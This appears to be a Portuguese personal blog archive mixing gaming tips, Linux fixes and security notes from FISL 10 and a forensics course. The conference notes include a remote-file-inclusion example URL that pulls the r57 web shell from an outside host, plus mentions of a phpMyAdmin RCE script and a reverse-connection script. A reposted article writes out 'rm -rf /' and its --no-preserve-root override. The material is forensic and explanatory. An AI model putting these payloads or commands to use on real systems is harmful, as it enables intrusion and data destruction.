Archive for the Nerd Category

diablo2Estava reunindo o pessoal do trabalho para uma jogatina inciando personagens da expansão à partir do zero. Tudo rolou bem bacana, com o fato que somente metade dos participantes compareceram para jogar.

Pensando em incentivar a todos fiz uma pesquisa na internet sobre algumas melhorias que pudessem existir no jogo e descobri que existe a possibilidade de aumentar a resolução do game, sem gerar legs ou problemas que atrapalhem a jogabilidade.

Fiz os testes e sucesso!! O game ficou muito bom!! Com um campo de visão bem mais detalhado e agora é possível perceber a diferença de se utilizar “light radius”.
.

Aqui, você consegue ter uma idéia de como ficará o game com a nova configuração:
YouTube Preview Image

O processo de instalação é bem simples. D2MultiRes-v102 aqui e depois é só extrair os arquivos para o diretório de instalação do Diablão (D2LOD que estou usando atualmente) e iniciar o game pelo novo executável chamado “D2MultiResGame.exe”.

Para finalizar e sair detonando tudo, vá em opções, resolução, Escolha a resolução desejada e boas batalhas contra o Senhor da Destruição!!!

8]

Pedra Tesoura Papel

Esse é uma pequeno tutorial da evolução do lendária brincadeira Pedra, Tesoura e Papel.

Para diminuir as chances de empate precisamos acrescentar o Lagarto e o Spock ao jogo e é claro é necessário um certo grau de QI e nerdisse.

Se você assiste ao seriado The Big Bang Theory, já é fã do Sheldon e provavelmente sabe do que estamos falando 8)

Funciona assim:
- Tesoura corta Papel;
- Papel cobre Pedra;
- Pedra esmaga Lagarto;
- Lagarto envenena Spock;
- Spock destrói Tesoura;
- Tesoura decapita Lagarto;
- Lagarto come Papel;
- Papel reprova Spock;
- Spock vaporiza Pedra e finalmente
- Pedra quebra Tesoura.

E não pense que é simples assim! Tente jogar com um amigo, e tente não escolher o Spock :-)

Essa técnica foi citada pelo Sheldon (Big Bang Teory 02×08) e por Carlos Voltor (NerdCast 143 – Nerds, Geeks e Freaks).

YouTube Preview Image

E fique ligado: A 3º temporada do Big Bang Theory deve voltar agora dia 21 de Setembro de 2009 e vai até Maio de 2010!

Para finalizar, só mesmo misturando Star Wars com Star Trek:

“Live Long and Prosper…And May The Force Be With You, Always.” 8)

Para os usuários de plantão temos uma dica:

após clicar em uma das imagens, utilize as <– –> (setas do teclado) para navegar pelas fotos ;-P

Porque hoje é sexta

Porque hoje é sexta

Porque hoje é sexta

Porque hoje é sexta

Porque hoje é sexta

Porque hoje é sexta

Porque hoje é sexta

Já é a segunda vez que meu Ubuntu 9.04 resolve colocar o MAC “AA:00:04:00:0A:04″ em minha interface de rede. Aconteceu com minha Realtek RTL8101E/RTL8102E (onboard) e agora com a minha Realtek RTL-8139/8139C/8139C+ Offboard, no meu super PC da SpaceBR que já veio com Linux instalado.

Aparentemente não é algo difícil de acontecer no Ubuntu, por isso colocarei aqui o que fiz para parar de vez com esse problema irritante:

Editei o /etc/rc.local e acrescentei essas linhas:

/sbin/ifconfig eth0 hw ether 00:21:97:9E:13:13
/sbin/ifconfig eth1 hw ether 00:E0:4C:56:0E:D8

Logo em seguida, arrumei o /etc/udev/rules.d/70-persistent-net.rules

# PCI device 0x10ec:0x8136 (r8169)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:21:97:9e:13:13", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"
 
# PCI device 0x10ec:0x8139 (8139too)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:e0:4c:56:0e:d8", ATTR{type}=="1", KERNEL=="eth*", NAME="eth1"

No próximo reboot, o NetworkManager resolveu me obedecer e colocar o IP que eu havia selecionado (na verdade DHCP), sem ficar criando o maldito “Auto eth0″ com dhcp e aquele MAC maluco.

No meu caso, eu configuro meu roteador Netgear WGR614 v7 para colocar um IP de acordo com o MAC da minha placa. Desta forma, meu Wii (rodando o mplayer_ce 0.75) consegue montar meu compartilhamento exportado via SaMBa (veja como no artigo: Assistindo Filmes no Wii usando o Mplayer) e eu posso assistir animês/ filmes e seriados pela TV da sala, deitado no sofá. Bem melhor do que ficar sentado na frente de um monitor :-)

O problema era que o Ubuntu colocava esse MAC maluco, o Wireless mandava um IP diferente do qual eu havia programado (192.168.1.5 ao invés do 192.168.1.2) e aí o Wii se perdia porque não encontrava o compartilhamento :-/

Agora tudo parece estar funcionando como deveria!

Segue algumas anotações realizadas no FISL 10. Qualquer dia eu organizo isso melhor :)

# Forense em Linux – http://eriberto.pro.br
- Insert Linux Live CD Forense ~ 60 MB.
- Usar Sleuthkit – http://www.sleuthkit.org/sleuthkit/
- Usar ls -lua e ls -lta para ver a data de modificação dos arquivos
- Montar dump de imagem com “RO” e nunca passar fsck
- chkrootkit -r /forense
- rkhunter -c -r /forense
- freshclam; clamav -r /forense
- Usar strings + grep por data (apache) ou comandos (rm) em dd de disco/mem
- find /forense -mtime -2 => arquivos suspeitos alterados recentemente
- fopen de URL no PHP pode permitir download de um arquivo para o /var/tmp
- site.com/lalala?http://shellremota.com/r57.php
- r57.php te dá uma shell remota (push com resposta 200 nos logs – OK)

The Sleuth Kit (previously known as TASK) is a collection of UNIX-based
command line file system and media management forensic analysis tools.
The file system tools allow you to examine file systems of a suspect
computer in a non-intrusive fashion. Because the tools do not rely on
the operating system to process the file systems, deleted and hidden
content is shown.

# KVM – glommer AT redhat.com
- Sw virtual?
- GFS?
- guestfish = disaster recovery en VM (editar menu.lst e etc)

# Varnish – Squid like globo.com
- Usar o webpoligraph para gerar stress stest/ analise de resultados

# Selinux – jczucco AT gmail.com
- http://jczucco.blogspot.com/ e http://ulissescastro.wordpress.com/
- type_t = template para apache, mysql e etc
- setenforce 1; sestatus
- exploit no phpmyadmin – phpmyadminrce.sh
- backconnect – bc.pl para abrir conexão reversa

# Miguel Ciurcio Filho – http://www.ic.unicamp.br/~miguel
- HELO com IP deve ser negado, embora tenha RFC dizendo o contrário
- PTR e A register must match
- smtpd_client_connection_rate_limit = 15
- smtpd_client_connection_count_limit = 10
- smtpd_client_message_rate_limit = 25
- Usar somente a SpamHaus (best ever)
- smtpd_hard_error_limit = 3
- smtpd_soft_error_limit = 1
- smtpd_error_sleep_time = 20s
- FDQN com nome da máquina não vale

# DNS Curve – D.J. Bernstein
- High-Speed with Cryptography
- Sourceforce uses nginex
- Criptografia https difícil e lenta
- Would massively overload servers
- Confidentiality despite Espionage
- Integrity despite Corruption
- Availability despite Sabotage
- Uses 4096 bit encryption / signatures
- 50 bilion packet/day to 500 milion cliets with 2.4 Core 2 Quad
- Total load on .com:
- 38 bilion packet/day from 5 milion clients
- Crypto per group not per query
- DNSSEC uses 640-1024 bit RSA for fast signature verification
- DNSSEC on *.sec2.br foi quebrado 23/26 domínios “protegidos”

Mantendo a tradição, estamos indo novamente ao 10º FISL, em Porto Alegre :-)

Como sempre, deixando tudo para a última hora… pegando os vôos mais bizarros e hospedando-se nos hotéis mais estranhos :-p

Ainda preciso mitigar o restante do dia de trabalho, passar minhas tarefas para os que ficam, fazer as malas e atravessar a cidade para o Aeroporto de Guarulhos… As vezes eu me pergunto porque eu ainda faço isso tudo, somente para não perder a festa da padroeira dos Nerds :-p

Dê uma olhada na programação e venha assistir palestras como essas:

    The DNS security mess
    DNSCurve X DNSSEC
    Forense computacional em Linux
    Projeto de lei de cibercrimes
    Configurações práticas IPv6 no Linux e FreeBSD – Firewall, Túneis, DNS e outros serviços
    DDOS – ataques e prevenções
    Tecnicas Avançadas de Segurança com Iptables
    SELinux For Everyday SysAdmins
    Usando ntop+Kernel Bridging p/ Análise e Caracterização de Tráfego

A gente se encontra lá!!!

Ei pessoal, estava limpando meu iPhone antes de fazer umas “atualizações”…..hehehe……..e acabei encontrando uma foto bem bacana que eu e o Tiago tiramos com a dupla-mega-boga do JovemNerd!

Se você não conhecem os caras, alottoni e azaghâl são os responsáveis pelo NerdCast! Vale à pena você baixar e ouvir, a diversão é garantida! Se você gosta de podcast’s (ótima distração para quem enfrenta o infernal trânsito de São Paulo), na coluna à direita do site, temos algumas sugestões de consumo de temas como Animês, Games, Tecnologia e “Nerdices” em geral 8)

Boa diversão!!

everlinux+jovemnerd

Desde no ano passado estou fazendo a minha pós-graduação em Segurança da Informação, pela UNIICD. Nas últimas semanas, tive o prazer de conhecer o Perito Domingo Montanaro, famoso hacker que virou bancário :-D

De suas aulas/ palestras, anotei uma série de coisas interessantes para compartilhar aqui no blog com vocês :-)

- O SleuthKit [1], que é uma ferramenta OpenSource (roda em Windows e Linux) que é o equivalente do EnCase [2] que custa mais ou menos U$ 20.000 a licença de uso.

- A RFC 3227 [3] que fala sobre “Guidelines for Evidence Collection and Archiving”

- Usar somente o MD5 não é seguro, pois há casos em que dois arquivos diferentes podem ter o mesmo hash, e que o mesmo pode acontecer com o SHA… o recomendável é fazer o mesmo que ferramentas como o AIDE [4] (Advanced Intrusion Detection Environment) fazem: usar ambos para não termos problemas

- É sempre bom ativar os Logs de Auditoria noss Shared Directories mais críticos e/ou importantes …

- Que o WotsIt [5] é um repositório sobre como funciona os arquivos que usamos no dia-a-dia, todos eles decifrados usando a engenharia reversa para facilitar a vida de novos programadores…

- Que logs são extremamente importantes, e que mante-los em uma máquina remota é uma ótima idéia, melhor ainda se ao invés de usar o syslog padrão do UNIX, usar o rsyslog [6] ou o systlog-ng que é capaz de usar pacotes TCP com criptografia (e ainda guardar as informações em banco de dados), ao invés de pacotes UDP que podem ser facilmente forjados…

- No firewall é importante diferenciar um DROP de um REJECT: O primeiro descarta o pacote silenciosamente, enquanto o segundo manda um aviso dizendo que o pacote não foi aceito…

- Que em bancos de dados muito grandes, é importante ter uma trigger que, por exemplo, emite um aviso/alerta/log/email quando alguma consulta utilizando 5000.000 linhas acontece, por exemplo (o que não não é normal);

- Que é possível fazer clones da memória RAM utilizando-se do dcfldd [7] (melhor do que o ‘dd’ padrão para análise forense) e usar o fatkit (The Forensic Analysis ToolKit) [8] para a posterior análise da mesma;

ex: ./dcfldd if=/dev/mem of=/media/ram_clone bs=512 conv=noerror

- Que em um Sistemas de Arquivos FAT, um bit E5 Hexadecimal (é mais ou menos um underscore nosso) quer dizer que o arquivo foi deletado;

- Que o MFT é o equivalente da FAT (tabela de alocação de arquivos) do NTFS;

- Que o WIPE [9] é capaz de destruir até 99% dos dados do seu HD, minimizando a chance de recupera-los mesmo com ferramentas especializadas. Item obrigatório no descarte de um HD, por exemplo.

- Última dica: O Helix Linux é uma distribuição baseada no Knoppix (portanto, um live-CD) já preparado para análise forense com todas essas ferramentas citadas acima e ainda mais!

Referências:

[1] http://sleuthkit.org/sleuthkit/download.php
[2] http://www.guidancesoftware.com/products/ef_index.asp
[3] http://www.ietf.org/rfc/rfc3227.txt
[4] http://www.cs.tut.fi/~rammer/aide.html
[5] http://www.wotsit.org/
[6] http://www.rsyslog.com/
[7] http://dcfldd.sourceforge.net/
[8] http://4tphi.net/fatkit/
[9] http://wipe.sourceforge.net/

O fim do rm -rf /

UPDATE IMPORTANTE:

O texto original foi escrito pelo Jorge Pereira, e o link do autor é esse aqui: http://blog.jorgepereira.com.br/2009/01/18/o-fim-do-rm-rf/. Mil desculpas pela falta de atenção de minha parte… :-(

O Julio Mauro, velho conhecido de listas de discussões postou um texto muito bacana com o título “rm -rf /: ele morreu! ele morreu!!“.

O texto é tão interessante, polêmico e bem escrito que me deu vontade de reproduzir aqui. Estou abismado com esta notícia, me faz lembrar de coisas como um UPDATE sem WHERE em uma tabela gigante…. heheheheh :-)

Segue o texto original:

Lendo algumas noticias do mundo linux, me deparei com uma que fiquei pensando:

“Mas será que tinha tanto idiota assim que executava o “rm -rf /”"

Eu sempre brinquei com o pessoal quando me perguntavam qual era o comando para fazer ‘tal’ coisa e eu sempre falava: “rm -rf /” e sempre ouvia “dããããããã”. Mas vamos a noticia me fez pensar tal frase acima…

Recentemente foi adicionado um patch ao pacote coreutils que por sua vez foi adotado por algumas distribuições Linux, entre elas o pessoal do Debian aderiu este patch na sua versão unstable assim como percebi também que no Ubuntu 8.10 já possui tal modificação no coreutils. Que por sua vez desabilita a possibilidade de você acidentalmente ou não execute um rm -rf /, veja exemplo abaixo.

# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 5.0 (lenny)
Release: 5.0
Codename: lenny
 
# rm -rf /
rm: cannot remove root directory ‘/

Pois se caso você queira realmente desestressar e mostrar que você e quem manda na sua máquina, não tem problema! basta adicionar a opção –no-preserve-root e dai você terá a liberdade de expressar seus sentimentos de fúria ou autoridade sobre o seu Linux! Mesmo assim fiquei ainda curioso e fui ver no código fonte sobre a veracidade deste feito, abaixo seguem os trechos para caso você queira também dar uma olhada tanto no funcionamento do comando rm como também tal “cuidado” adicionado recentemente.

1) Baixando o fonte via apt-get

$ lsb_release -c -r
Release: 8.10
Codename: intrepid
 
$ sudo apt-get source coreutils
$ cd coreutils-6.10/
$ sudo tar -xzf coreutils-6.10.tar.gz
$ find $PWD -iname “rm.c”
/tmp/coreutils-6.10/src/rm.c

2) Verificando tais trechos mais interessantes.

$ cat -n coreutils-6.10/src/rm.c | sed227,233!d’
227 int
228 main (int argc, char **argv)
229 {
230 bool preserve_root = true;
231 struct rm_options x;
232 bool prompt_once = false;
233 int c;
$ cat -n coreutils-6.10/src/rm.c | sed348,355!d’
348 if (x.recursive & preserve_root)
349 {
350 static struct dev_ino dev_ino_buf;
351 x.root_dev_ino = get_root_dev_ino (&dev_ino_buf);
352 if (x.root_dev_ino == NULL)
353 error (EXIT_FAILURE, errno, _(”failed to get attributes of %s”),
354 quote (/));
355 }
$

3) Conforme trecho do próprio man do comando rm, a opção vem habilitada por padrão para evitar tais “imprevistos”!

$ cat -n <(man rm) | sed45,51!d’
45
46 –no-preserve-root
47 do not treat ‘/’ specially
48
49 –preserve-root
50 do not remove ‘/(default)
51
$

Então concluímos que não e bem o fim do famoso “rm -rf /”, agora e preciso adicionar o parâmetro “–no-preserve-root” para que você consiga mostrar quem e que manda! e durante pesquisas descobri que tal cuidado já havia sido adotado pela Sun no Solaris conforme este link: http://blogs.sun.com/jbeck/date/20041001#rm_rf_protection

Não sei se isso é novo, mas para mim é. E ainda continuo me perguntando:

“Mas será que tinha tanto idiota assim que executava o “rm -rf / sem querer para fazerem um patch ?!?!”"

Dia desses percebi que estava gastando todo meu tempo livre jogando um dos maiores games já feitos para PC, o Diablo 2 com expansão. Eu comprei ele no submarino por R$29,90. Apesar de já ter gasto horas e horas nesse jogo alucinante há alguns anos atrás, eu consegui reunir um pessoal e estamos jogando frequentemente.

Para ajudar, por trabalhar em uma empresa de tecnologia, frequentemente fico algumas horas até mais tarde, seja para concluir um projeto, resolver um problema ou mesmo esperar o trânsito dar uma aliviada. Nesse último item, rola jogar um game e ir treinando para fazer uma aventura legal com o pessoal. Como no meu trabalho uso linux e em casa eu rodava ele num windão véio que só servia para isso, resolvi dar uma navegada no site da blizzard e ver as novidades.

Lá no site, você consegue baixar os arquivos que permitem a você instalar o game de qualquer computador, desde que você tenha o serial original do jogo. Primeiro, você precisa se cadastrar no site da blizzard para conseguir o serial que vai permitir a instalação.

d2lod_blizzard_registration

Sussa, feito isso, baixei os 1.9GB de arquivos do site da blizzard.com. Você autentica no site e baixa um executável de uns 100kB. Esse arquivo quando executado baixa os arquivos do jogo direto do site. Na sequência já abri uma aba no site do wine.

O lance do Wine é o seguinte: antigamente até conseguia instalar o jogo, mas sempre ficava muito instável e a jogabilidade usando os recursos de rede não era muito legal, mesmo compilando. Mas a equipe de desenvolvimento dos caras não fica parada. Já tem uma versão do Wine que permite que você instale e jogue o D2LoD sem problemas. Inclusive troca de janelas sem trava o game, sem zoar a imagem ou perder o cursor do mouse.

Instalando o Wine:

Essas 3 linhas são o que você precisa para poder executar o .exe do instalador do Diablão.

$ wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -
$ sudo wget http://wine.budgetdedicated.com/apt/sources.list.d/intrepid.list -O /etc/apt/sources.list.d/winehq.list
$ sudo apt-get update

No Ubuntu 8.10, o comando “apt-get install wine” traria a versão 1.0.1. Porém, com estas linhas acima a versão 1.1.12 será baixada e instalada.

Daí para frente é só instalar o D2Lod normalmente. Abaixo tem umas screenshoots para você ver como acontece a mágica.

$ wine /dados/games/D2LOD/D2-1.12A-enUS/Installer.exe
$ wine /dados/games/D2LOD/D2LOD-1.12A-enUS/Installer.exe

Caso queira rodar o wine em uma janela 800×600 e não em Fullscreen, edite o atalho criado em seu desktop e adicione no final da linha -w.

Olhando as screenshoot’s você percebe que fiz toda a malandragem usando o Ubuntu 8.10! Não tive tempo de testar em outros sabores linux. Se você gostou, instale e deixe seu comentário.

Pronto, depois de todo o trabalho, agora é pegar sua espada, vestir sua armadura e sair em busca de batalhas!!

8p

d2_install

d2lod_install

d2lod_play